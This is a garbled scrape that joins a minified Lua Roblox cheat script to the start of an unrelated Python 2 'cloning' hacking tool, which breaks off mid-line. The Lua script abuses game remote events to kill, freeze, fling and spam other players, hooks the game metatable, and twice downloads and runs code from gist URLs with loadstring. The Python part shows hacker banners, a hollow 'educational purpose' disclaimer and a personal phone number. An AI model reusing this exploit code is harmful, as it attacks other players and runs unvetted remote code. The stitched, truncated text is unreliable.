t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetPlayers())do if m.Name~=game.Players.LocalPlayer then t:FireServer("BothWantPiggyBackRide",m)end end end end end;game.Players.LocalPlayer.Character:Remove()end)c:Button("FE Random Teleport All",function()wait(1)local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do if m.Name~=game.Players.LocalPlayer then t:FireServer("Client2Client","Request: Shoulders!",m)end end;local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do if m.Name~=game.Players.LocalPlayer then t:FireServer("BothWantShoulders",m)local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113 end end;for l,m in pairs(game.Players:GetChildren())do t:FireServer("DropButtonStopAll",m)end;local Y=game:GetService("Players").LocalPlayer;repeat wait(.1)until Y.Character;local Z=Y.Character;Z.Archivable=true;local _=false;local a0=true;local a1=Z:Clone()a1.Parent=game:GetService'Lighting'local a2=workspace.FallenPartsDestroyHeight;a1.Name=""local a3;Y.CharacterAdded:Connect(function()if Y.Character==a1 then return end;repeat wait(.1)until Y.Character:FindFirstChildWhichIsA'Humanoid'if a0==false then _=false;a0=true;Z=Y.Character;Z.Archivable=true;a1=Z:Clone()a1.Name=""a1:FindFirstChildOfClass'Humanoid'.Died:Connect(function()Respawn()end)for l,m in pairs(a1:GetDescendants())do if m:IsA("BasePart")then if m.Name=="HumanoidRootPart"then m.Transparency=1 else m.Transparency=.5 end end end end end)local a4=game:GetService("RunService").Stepped:Connect(function()pcall(function()local a5;if tostring(a2):find'-'then a5=true else a5=false end;local a6=Y.Character.HumanoidRootPart.Position;local a7=tostring(a6)local a8=a7:split(', ')local a9=tonumber(a8[1])local aa=tonumber(a8[2])local ab=tonumber(a8[3])if a5==true then if aa<=a2 then Respawn()end elseif a5==false then if aa>=a2 then Respawn()end end end)end)for l,m in pairs(a1:GetDescendants())do if m:IsA("BasePart")then if m.Name=="HumanoidRootPart"then m.Transparency=1 else m.Transparency=.5 end end end;function Respawn()a0=false;if _==true then pcall(function()Y.Character=Z;wait()Z.Parent=workspace;Z:FindFirstChildWhichIsA'Humanoid':Destroy()_=false;a1.Parent=nil end)elseif _==false then pcall(function()Y.Character=Z;wait()Z.Parent=workspace;Z:FindFirstChildWhichIsA'Humanoid':Destroy()_=false end)end end;a1:FindFirstChildOfClass'Humanoid'.Died:Connect(function()Respawn()end)function FixCam()workspace.CurrentCamera.CameraSubject=Y.Character:FindFirstChildWhichIsA'Humanoid'workspace.CurrentCamera.CFrame=a3 end;function freezecam(ac)if ac==true then workspace.CurrentCamera.CameraType=Enum.CameraType.Scriptable else workspace.CurrentCamera.CameraType=Enum.CameraType.Custom end end;function TurnInvisible()if _==true then return end;_=true;a3=workspace.CurrentCamera.CFrame;local ad=Y.Character.HumanoidRootPart.CFrame;Z:MoveTo(Vector3.new(0,math.pi*1000000,0))freezecam(true)wait(.2)freezecam(false)a1=a1;Z.Parent=game:GetService'Lighting'a1.Parent=workspace;a1.HumanoidRootPart.CFrame=ad;Y.Character=a1;FixCam()Y.Character.Animate.Disabled=true;Y.Character.Animate.Disabled=false end;function FixScript()end;function TurnVisible()if _==false then return end;a3=workspace.CurrentCamera.CFrame;Z=Z;local ad=Y.Character.HumanoidRootPart.CFrame;Z.HumanoidRootPart.CFrame=ad;a1.Parent=game:GetService'Lighting'Y.Character=Z;Z.Parent=workspace;_=false;FixCam()Y.Character.Animate.Disabled=true;Y.Character.Animate.Disabled=false end;game.Players.LocalPlayer.Character.Humanoid:Remove()Instance.new('Humanoid',game.Players.LocalPlayer.Character)wait(1)for l,m in pairs(game.Players:GetChildren())do t:FireServer("DropButtonStopAll",m)end;TurnInvisible()wait(1)TurnVisible()end)c:Box("Kill Any Player",function(ae,af)if af then yes=game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame;for l=1,50 do local s={[1]="Client2Client",[2]="Request: Carry!",[3]=game:GetService("Players").LocalPlayer}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))local s={[1]="BothWantCarryHurt",[2]=game:GetService("Players")[ae]}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))end;wait(.10)local s={[1]="JumpButtonStopAll",[2]=game:GetService("Players").LocalPlayer}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))game.Players.LocalPlayer.Character.Head:Destroy()wait(7)game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame=yes end end)c:Box("Freeze Player",function(ag,ah)if ah then for l=1,50 do local s={[1]="Client2Client",[2]="Request: PiggyBack!!",[3]=game:GetService("Players").LocalPlayer}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))local s={[1]="BothWantPiggyBackRide",[2]=game:GetService("Players")[ag]}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))end;wait(.10)local s={[1]="JumpButtonStopAll",[2]=game:GetService("Players").LocalPlayer}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))game.Players.LocalPlayer.Character.HumanoidRootPart.Anchored=true end end)c:Box("Skydive Player",function(ai,aj)if aj then yes=game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame;for l=1,20 do local s={[1]="Client2Client",[2]="Request: Carry!",[3]=game:GetService("Players").LocalPlayer}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))local s={[1]="BothWantCarryHurt",[2]=game:GetService("Players")[ai]}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))end;local s={[1]="JumpButtonStopAll",[2]=game:GetService("Players").LocalPlayer}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))wait(.30)loadstring(game:HttpGet("https://gist.githubusercontent.com/TurkOyuncu99/edad7106467c283a3a554b0afd179776/raw/7a6168e45bc9223b52d3e833c05947d484c850ef/gistfile1.txt",true))()game.Players.LocalPlayer.Character.Humanoid:Remove()wait(7)game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame=yes end end)c:Box("Carry Player",function(ak,P)if P then for l=1,50 do local s={[1]="Client2Client",[2]="Request: Piggyback!",[3]=game:GetService("Players").LocalPlayer}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))local s={[1]="BothWantPiggyBackRide",[2]=game:GetService("Players")[ak]}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))end;wait(.10)local s={[1]="JumpButtonStopAll",[2]=game:GetService("Players").LocalPlayer}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))end end)c:Box("Bring Player",function(al,am)if am then yes=game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame;for l=1,50 do local s={[1]="Client2Client",[2]="Request: Carry!",[3]=game:GetService("Players").LocalPlayer}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))local s={[1]="BothWantCarryHurt",[2]=game:GetService("Players")[al]}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))end;wait(.10)local s={[1]="JumpButtonStopAll",[2]=game:GetService("Players").LocalPlayer}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))wait(.40)game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame=yes;wait(.50)game.Players.LocalPlayer.Character.Humanoid:Remove()wait(7)game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame=yes end end)c:Toggle("Loop Teleport+Annoy All",false,function(an)game:GetService("StarterGui"):SetCore("SendNotification",{Title="Teleport+Annoy All Script",Text="To Stop this, Reset Character on LocalPlayer Section",Duration=15})getgenv().trinechbvvkets=an;while wait(0.20)do if getgenv().trinechbvvkets then local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do if m.Name~=game.Players.LocalPlayer then t:FireServer("Client2Client","Request: Piggyback!",m)end end;local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do if m.Name~=game.Players.LocalPlayer then t:FireServer("BothWantPiggyBackRide",m)end end end end end)c:Toggle("Rainbow House",false,function(ao)getgenv().trineeeechbvvkets=ao;while wait(0.20)do if getgenv().trineeeechbvvkets then game:GetService("ReplicatedStorage").RemoteEvents.PlayersHouse:FireServer("PickingHouseColor",Color3.new(0,1,0.547505))wait(.30)game:GetService("ReplicatedStorage").RemoteEvents.PlayersHouse:FireServer("PickingHouseColor",Color3.new(1,0.677182,0))wait(.30)game:GetService("ReplicatedStorage").RemoteEvents.PlayersHouse:FireServer("PickingHouseColor",Color3.new(0.604867,1,0.0489711))wait(.30)game:GetService("ReplicatedStorage").RemoteEvents.PlayersHouse:FireServer("PickingHouseColor",Color3.new(0,1,0.790357))wait(.30)game:GetService("ReplicatedStorage").RemoteEvents.PlayersHouse:FireServer("PickingHouseColor",Color3.new(0,0.972528,1))wait(.30)game:GetService("ReplicatedStorage").RemoteEvents.PlayersHouse:FireServer("PickingHouseColor",Color3.new(0,1,0.547505))wait(.30)game:GetService("ReplicatedStorage").RemoteEvents.PlayersHouse:FireServer("PickingHouseColor",Color3.new(1,0,0.772158))wait(.30)game:GetService("ReplicatedStorage").RemoteEvents.PlayersHouse:FireServer("PickingHouseColor",Color3.new(1,0.253019,0))wait(.30)game:GetService("ReplicatedStorage").RemoteEvents.PlayersHouse:FireServer("PickingHouseColor",Color3.new(1,0.924444,0.75973))wait(.30)game:GetService("ReplicatedStorage").RemoteEvents.PlayersHouse:FireServer("PickingHouseColor",Color3.new(1,0.311742,0.302132))end end end)c:Label("FE Funny Scripts",Color3.fromRGB(127,143,166))c:Toggle("FE Rainbow Character",false,function(ap)getgenv().trinecnooooovhbvvkets=ap;while wait(1)do if getgenv().trinecnooooovhbvvkets then game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Light reddish violet")wait(.20)wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Carnation Pink")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Lime green")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Pink")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Really Red")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Cocoa")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Rust")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","GGA brown")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Fawn Brown")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Brown")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Yellow")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Lime Green")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Bright blue")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","New Yeller")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Deep orange")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Eath green")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Navy blue")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Pastel light blue")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Really blue")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Magenta")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Mulberry")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Dark nougat")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Really Black")end end end)c:Button("FE Big Character",function()local s={[1]="Whatever1"}game:GetService("ReplicatedStorage").RemoteEvents.AvatarOriginalCharacterClient92731:FireServer(unpack(s))wait(1)if game.Players.LocalPlayer.Character.Humanoid.BodyTypeScale.Value<1 or game.Players.LocalPlayer.Character.Humanoid.BodyProportionScale.Value<1 or game.Players.LocalPlayer.Character.Humanoid.BodyWidthScale.Value<1 or game.Players.LocalPlayer.Character.Humanoid.BodyDepthScale.Value<1 then game:GetService("StarterGui"):SetCore("SendNotification",{Title="FE Big Character",Text="You should do Requirements to This Script Work",Duration=4})wait(2)game:GetService("StarterGui"):SetCore("SendNotification",{Title="Video Link",Text=" Watch this Short video to Learn how to Use This Script Link Copied!",Duration=15})wait(1)setclipboard("https://www.youtube.com/watch?v=jpBxiBDRFW0")else local aq=game:GetService("Players").LocalPlayer;local Z=aq.Character;local ar=Z:FindFirstChildOfClass("Humanoid")function rm()for l,m in pairs(Z:GetDescendants())do if m:IsA("BasePart")then if m.Name=="Handle"or m.Name=="Head"then if Z.Head:FindFirstChild("OriginalSize")then Z.Head.OriginalSize:Destroy()end else for l,as in pairs(m:GetDescendants())do if as:IsA("Attachment")then if as:FindFirstChild("OriginalPosition")then as.OriginalPosition:Destroy()end end end;m:FindFirstChild("OriginalSize"):Destroy()if m:FindFirstChild("AvatarPartScaleType")then m:FindFirstChild("AvatarPartScaleType"):Destroy()end end end end end;rm()wait(0.5)ar:FindFirstChild("BodyProportionScale"):Destroy()wait(1)rm()wait(0.5)ar:FindFirstChild("BodyHeightScale"):Destroy()wait(1)rm()wait(0.5)ar:FindFirstChild("BodyWidthScale"):Destroy()wait(1)rm()wait(0.5)ar:FindFirstChild("BodyDepthScale"):Destroy()wait(1)rm()wait()wait(0.5)ar:FindFirstChild("HeadScale"):Destroy()wait(1)end end)c:Button("FE Big Head",function()for l,m in pairs(game.Players.LocalPlayer.Character.Humanoid:GetChildren())do if string.find(m.Name,"Scale")and m.Name~="HeadScale"then repeat wait()until game.Players.LocalPlayer.Character.Head:FindFirstChild("OriginalSize")game.Players.LocalPlayer.Character.Head.OriginalSize:Destroy()m:Destroy()game.Players.LocalPlayer.Character.Head:WaitForChild("OriginalSize")game.Players.LocalPlayer.Character.Head.OriginalSize:Destroy()end end;game:GetService("StarterGui"):SetCore("SendNotification",{Title="FE Big Head Script",Text="You should Equip Junkbot Head to This Script Work, Junkbot Bundle Link Copied!",Duration=7})setclipboard("https://www.roblox.com/bundles/589/Junkbot")end)c:Button("FE Gravity Tool",function()loadstring(game:HttpGet("https://gist.githubusercontent.com/TurkOyuncu99/b7812fffdab17af75e51082d423d1bdc/raw/40a15d466f583a52a8dc9a72456dad90eb08eb94/hye",true))()game:GetService("StarterGui"):SetCore("SendNotification",{Title="FE Gravity Tool",Text="Only Works on Unanchored Things",Duration=4})end)b:Toggle("Spawn Brick",false,function(at)getgenv().trinkv245ets=at;while wait()do if getgenv().trinkv245ets then for l,m in pairs(game:GetService("Players").LocalPlayer.Backpack:GetChildren())do m:Destroy()end;while wait()do local s={[1]="PickingTools",[2]="Taser"}game:GetService("ReplicatedStorage").RemoteEvents.Tools98748:InvokeServer(unpack(s))break end end end end)b:Toggle("Enable Brick Spam",false,function(au)getgenv().xxxvvvvcyb=au;while wait()do if getgenv().xxxvvvvcyb then for E,m in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do m.Parent=game.Players.LocalPlayer.Character;for l,m in pairs(game:GetService("Players").LocalPlayer.Character:GetDescendants())do if m:IsA("Tool")or m:IsA("HopperBin")then if m.Handle:FindFirstChild("Mesh")then m.Handle.Mesh:Destroy()end;m.Parent=game:GetService("Workspace")end end end end end end)e:Label("Give To Yourself",Color3.fromRGB(127,143,166))local av=e:Dropdown("Give Yourself Item",{"Iphone","Camcorder","BabyBoy","BabyGirl","Wagon","Sign","Syringe","Ear","Trophy","Taser","SWATShield","Cuffs","Glock","Shotgun","Assault","Sniper","Bomb","DuffleBagMoney","Money","CreditCardBoy","CreditCardGirl","Umbrella","Roses","Present","SoccerBall","Apple","Chips","Bloxaide","Milk"},function(aw)local s={[1]="PickingTools",[2]=aw}game:GetService("ReplicatedStorage").RemoteEvents.Tools98748:InvokeServer(unpack(s))end)b:Label("Server-Side Play Music",Color3.fromRGB(127,143,166))b:Box("House Play Music",function(ax,ay)if ay then game:GetService("ReplicatedStorage").RemoteEvents.PlayersHouse:FireServer("PickingHouseMusicText",ax)end end)b:Box("FE Play Song",function(az,aA)if aA then game:GetService("ReplicatedStorage").GunSounds:FireServer(game.Players,az,1)local aB=game.Workspace;local aC=az;local aD=1;local aE='Sounding'local aF=false;local aG=Instance.new("Sound",aB)aG.SoundId='rbxassetid://'..aC;aG.Volume=1;aG.Name=aE;aG.Looped=aF;aG.Playing=true end end)b:Button("FE Scare All Players",function()game:GetService("ReplicatedStorage").GunSounds:FireServer(game.Players,7083236436,1)local aB=game.Workspace;local aC=7083236436;local aD=1;local aE='Sounding'local aF=false;local aG=Instance.new("Sound",aB)aG.SoundId='rbxassetid://'..aC;aG.Volume=1;aG.Name=aE;aG.Looped=aF;aG.Playing=true end)f:Label("Car Upgrade Gamepass",Color3.fromRGB(127,143,166))f:Toggle("Rainbow Car",false,function(aH)getgenv().seninnnf=aH;while wait()do if getgenv().seninnnf then game:GetService("ReplicatedStorage").RemoteEvents.PlayersCar:FireServer("PickingCarColor",Color3.new(1,20.100007,0.018725))wait(.10)game:GetService("ReplicatedStorage").RemoteEvents.PlayersCar:FireServer("PickingCarColor",Color3.new(0,1,0.26709))wait(.10)game:GetService("ReplicatedStorage").RemoteEvents.PlayersCar:FireServer("PickingCarColor",Color3.new(1,0.70086,0.411722))wait(.10)game:GetService("ReplicatedStorage").RemoteEvents.PlayersCar:FireServer("PickingCarColor",Color3.new(0.753103,0.142167,1))wait(.10)game:GetService("ReplicatedStorage").RemoteEvents.PlayersCar:FireServer("PickingCarColor",Color3.new(0.938496,1,0.0076676))wait(.10)game:GetService("ReplicatedStorage").RemoteEvents.PlayersCar:FireServer("PickingCarColor",Color3.new(1,0.289824,0.841549))end end end)f:Label("Instant Spawn Cars",Color3.fromRGB(127,143,166))f:Button("Scooter",function()local s={[1]="PickingCar",[2]="ScooterVehicle"}game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer(unpack(s))end)f:Button("NPHarleyDavison",function()local s={[1]="PickingCar",[2]="NPHarleyDavison"}game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer(unpack(s))end)f:Button("Cadillac",function()local s={[1]="PickingCar",[2]="Cadillac"}game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer(unpack(s))end)f:Button("CopChallenger",function()local s={[1]="PickingCar",[2]="CopChallenger"}game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer(unpack(s))end)f:Button("Challenger",function()local s={[1]="PickingCar",[2]="Challenger"}game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer(unpack(s))end)f:Button("Bus",function()local s={[1]="PickingCar",[2]="Bus"}game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer(unpack(s))end)f:Button("Jeep",function()local s={[1]="PickingCar",[2]="Jeep"}game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer(unpack(s))end)f:Button("FireTruck",function()local s={[1]="PickingCar",[2]="FireTruck"}game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer(unpack(s))end)f:Button("CopUnderCoverSUV",function()local s={[1]="PickingCar",[2]="CopUnderCoverSUV"}game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer(unpack(s))end)f:Button("GolfCart",function()local s={[1]="PickingCar",[2]="GolfCart"}game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer(unpack(s))end)f:Button("Van",function()local s={[1]="PickingCar",[2]="Van"}game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer(unpack(s))end)f:Button("CopSUV",function()local s={[1]="PickingCar",[2]="CopSUV"}game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer(unpack(s))end)f:Button("FordGT",function()local s={[1]="PickingCar",[2]="FordGT"}game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer(unpack(s))end)f:Button("RV",function()local s={[1]="PickingCar",[2]="RV"}game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer(unpack(s))end)f:Label("Car Settings",Color3.fromRGB(127,143,166))f:Box("Car Speed",function(aI,aJ)if aJ then local aK=getrawmetatable(game)make_writeable(aK)local aL=aK.__index;aK.__index=function(aM,aN)if tostring(aM)=="TopSpeed"then if tostring(aN)=="Value"then return aI end end;return aL(aM,aN)end end end)a:Keybind("Tab")game:GetService("StarterGui"):SetCore("SendNotification",{Title="Important",Text="This Scripts Made By ameicaa,",Duration=20})
Kelechiodinakachi
#!/usr/bin/python2 #coding=utf-8 #The Credit For This Code Goes To lovehacker #If You Wanna Take Credits For This Code, Please Look Yourself Again... #Reserved2020 import os,sys,time,mechanize,itertools,datetime,random,hashlib,re,threading,json,getpass,urllib,cookielib from multiprocessing.pool import ThreadPool #### RANDOM Clour #### P = '\033[1;97m' # M = '\033[1;91m' # H = '\033[1;92m' # K = '\033[1;93m' # B = '\033[1;94m' # U = '\033[1;95m' # O = '\033[1;96m' # my_color = [P, M, H, K, B, U, O] warna = random.choice(my_color) warni = random.choice(my_color) def pkgs(): love("\033[1;91m«-----------------\033[1;96mSHABIR BALOCH\033[1;91m-----------------»") love("\033[1;96m«-----------------Disclaimer---------------»") love("\033[1;91m This Tool is for Educational Purpose") love("\033[1;93mThis presentation is for educational") love("\033[1;93mpurposes ONLY.How you use this information") love("\033[1;93mis your responsibility.I will not be") love("\033[1;93mheld accountable This Tool/Channel Doesn't") love("\033[1;93mSupport illegal activities.for any illegal") love("\033[1;93mActivitie This Tool is for Educational Purpose") love("\033[1;91m«------------------SHABIR BALOCH----------------»") love("\033[1;95mB4Baloch 2nd Tool Start ComingSoon New Update»") love("\033[1;96m «-----------------\033[1;92mSHABIR BALOCH\033[1;96m--------------»") time.sleep(0.3) os.system("pip install lolcat") try: import mechanize except ImportError: os.system("pip2 install mechanize") try: import requests except ImportError: os.system("pip2 install requests") os.system("python2 Cloning.py") from requests.exceptions import ConnectionError from mechanize import Browser from datetime import datetime reload(sys) sys.setdefaultencoding('utf8') br = mechanize.Browser() br.set_handle_robots(False) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time=1) br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')] os.system("clear") done = False def animate(): for c in itertools.cycle(['\033[1;96m|', '\033[1;92m/', '\033[1;95m-', '\033[1;91m\\']): if done: break sys.stdout.write('\r\033[1;93mLoading ' + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c ) sys.stdout.flush() time.sleep(0.001) t = threading.Thread(target=animate) t.start() time.sleep(5) done = True def keluar(): print "\033[1;97m{\033[1;91m!\033[1;97m} Keluar" os.sys.exit() def acak(x): w = 'mhkbpcP' d = '' for i in x: d += '!'+w[random.randint(0,len(w)-1)]+i return cetak(d) def cetak(x): w = 'mhkbpcP' for i in w: j = w.index(i) x= x.replace('!%s'%i,'%s;'%str(31+j)) x += '' x = x.replace('!0','') sys.stdout.write(x+'\n') def jalan(z): for e in z + '\n': sys.stdout.write(e) sys.stdout.flush() time.sleep(0.00001) ##### LOGO ##### logo = """ \033[1;96mPAK HACKERS░░░\033[1;92m░░░SHABIRBALOCH╗░░WEBDEVELOPER╗░AND╗░░A\033[1;91mETICALHACKER╗ \033[1;96mYT╔══M4╗B4║░\033[1;92m░░░░WEBHACKER╔══PAK╗ANONAYMOUS╔══YOUTUBE╗CHANNEL║\033[1;91m░B4_BALOCH_M4_MASTER╔╝ \033[1;96mPAKISTANI╦╝HACKERS\033[1;92m║░░░░░███████║██║░░╚═╝\033[1;91m█████═╝░ \033[1;96mWEBHACKER╔══SHABIRBALOCH╗\033[1;92m██║░░░░░██╔══██║██║░░\033[1;91m██╗██╔═██╗░ \033[1;96mWHATSAPP\033[1;92m╦╝03232132362╗██║░░██║╚█\033[1;91m████╔╝██║░╚██╗ \033[1;96m╚═══\033[1;92m══╝░╚══════╝╚═╝░░╚═╝\033[1;91m░╚════╝░╚═╝░░╚═╝ \033[1;96mHACK\033[1;92mTHE╗░░░HACKERS╗░BALOCH╗░HACKERS\033[1;91m████╗██╗░█████╗░ \033[1;96mWE\033[1;92mARE╗░LEGION║WE╔══NEVER╗\033[1;91mFORGIVE╔════╝SPEED█║LIMIT█╔══INCREASED█╗ \033[1;92mVISIT╔█OUR█╔YT║█CHANNEL█\033[1;91mB4║█BALOCH█╗░░M4║██MASTER██║ \033[1;92m██║╚██╔╝██║██╔\033[1;91m══██║██╔══╝░░██║██╔══██║ \033[1;92m██║░╚═╝░██║█\033[1;91m█║░░██║██║░░░░░██║██║░░██║ \033[1;92m╚═╝░░░░░╚═\033[1;91m╝╚═╝░░╚═╝╚═╝░░░░░╚═╝╚═╝░░╚═╝ \033[1;47m\033[1;31m PAKISTANI HACKER \033[1;0m \033[1;96m«-----------------\033[1;91mSHABIR BALOCH\033[1;96m-----------------» \033[1;91m ┈┈┈◢▇◣◢▇◣┈┈◢▇◣◢▇◣┈┈◢▇◣◢▇◣┈┈┈┈ BALOCH \033[1;91m ┈┈┈▇▇▇▇▇▇┈┈▇▇▇▇▇▇┈┈▇▇▇▇▇▇┈┈┈┈ HACKER \033[1;91m ┈┈┈◥▇▇▇▇◤┈┈◥▇▇▇▇◤┈┈◥▇▇▇▇◤┈┈┈┈ \033[1;91m ┈┈┈┈◥▇▇◤┈┈┈┈◥▇▇◤┈┈┈┈◥▇▇◤┈┈┈┈┈ WhatsApp \033[1;91m ┈┈-̴̧̬͖͇̟̟̼̱͙̠͉̟̹̘̖̥͈͖͚̯͗͑͌̃̿͗̈̿̿̏͗̑̀̀͘┈┈◥◤┈┈┈-̴̧̬͖͇̟̟̼̱͙̠͉̟̹̘̖̥͈͖͚̯͗͑͌̃̿͗̈̿̿̏͗̑̀̀͘┈┈◥◤┈┈┈-̴̧̬͖͇̟̟̼̱͙̠͉̟̹̘̖̥͈͖͚̯͗͑͌̃̿͗̈̿̿̏͗̑̀̀͘┈┈◥◤┈┈┈-̴̧̬͖͇̟̟̼̱͙̠͉̟̹̘̖̥͈͖͚̯͗͑͌̃̿͗̈̿̿̏͗̑̀̀͘┈┈┈ 03232132362 \033[1;96m«-----------------\033[1;91mBELLA\033[1;96m-----------------»""" R = '\033[1;91m' G = '\033[1;92m' Y = '\033[1;93m' B = '\033[1;94m' P = '\033[1;95m' S = '\033[1;96m' W = '\033[1;97m' ######Clear###### def clear(): os.system('clear') #### time sleep #### def t(): time.sleep(1) def t1(): time.sleep(0.01) #### print std #love### def love(z): for e in z + "\n": sys.stdout.write(e) sys.stdout.flush() t1() def menu(): os.system('clear') pkgs() os.system('clear') print(logo) os.system('clear') os.system('echo SHABIR░░░░░░BALOCH░░PAKISTANI░ETICAL░░HACKER | lolcat -a -F 0.1') os.system('echo SHABIR░░░░░BALOCH██WEB██DEVELOPER░██ | lolcat -a -F 0.1') os.system('echo WHATSAPP░░░░░03232132362░░FOR THIS SCRIPT░ | lolcat -a -F 0.1') os.system('echo CONTACT ░░░░░ME ON WHATSAPP░░BALOCH CYBER HACKER░ | lolcat -a -F 0.1') os.system('echo WE ARE ░░ANONAYMOUS░WE ARE LEGION WE NEVER GORFIVE | lolcat -a -F 0.1') os.system('echo WE NEVER FORGET░ASPECT ░░ US ░KNOWLEDGE░IS░░FREE | lolcat -a -F 0.1') os.system('echo HI, I AM SHABIR BALOCH A ETICAL HACKER | lolcat -a -F 0.1') os.system('echo WE ARE ANONYMOUS WE ARE LEGION WE NEVER FORGIVE WE NEVER FORGET ASPECT US | lolcat -a -F 0.1') os.system('echo SHABIR BALOCH WHATSAPP = 03232132362 | lolcat -a -F 0.1') os.system('echo VISIT OUR YOUTUBE CHANNEL B4 BALOCH M4 MASTER | lolcat -a -F 0.1') os.system('echo PAKISTANI ETICAL HACKER AND A PROGRAMMER | lolcat -a -F 0.1') os.system('echo LETS░░░░░ENJOY░░OUR░░░░░TOOL░░THANKS | lolcat -a -F 0.1') os.system('echo ------ Your Mind is Your Best Weapon------&&date | lolcat -a -F 0.1') os.system('echo ----------------BELLA-----------------| lolcat') os.system('echo ┈┈┈◢▇◣◢▇◣┈┈◢▇◣◢▇◣┈┈◢▇◣◢▇◣┈┈┈┈ SHABIR BALOCH| lolcat --animate') os.system('echo ┈┈┈▇▇▇▇▇▇┈┈▇▇▇▇▇▇┈┈▇▇▇▇▇▇┈┈┈┈ BALOCHHACKER| lolcat --animate') os.system('echo 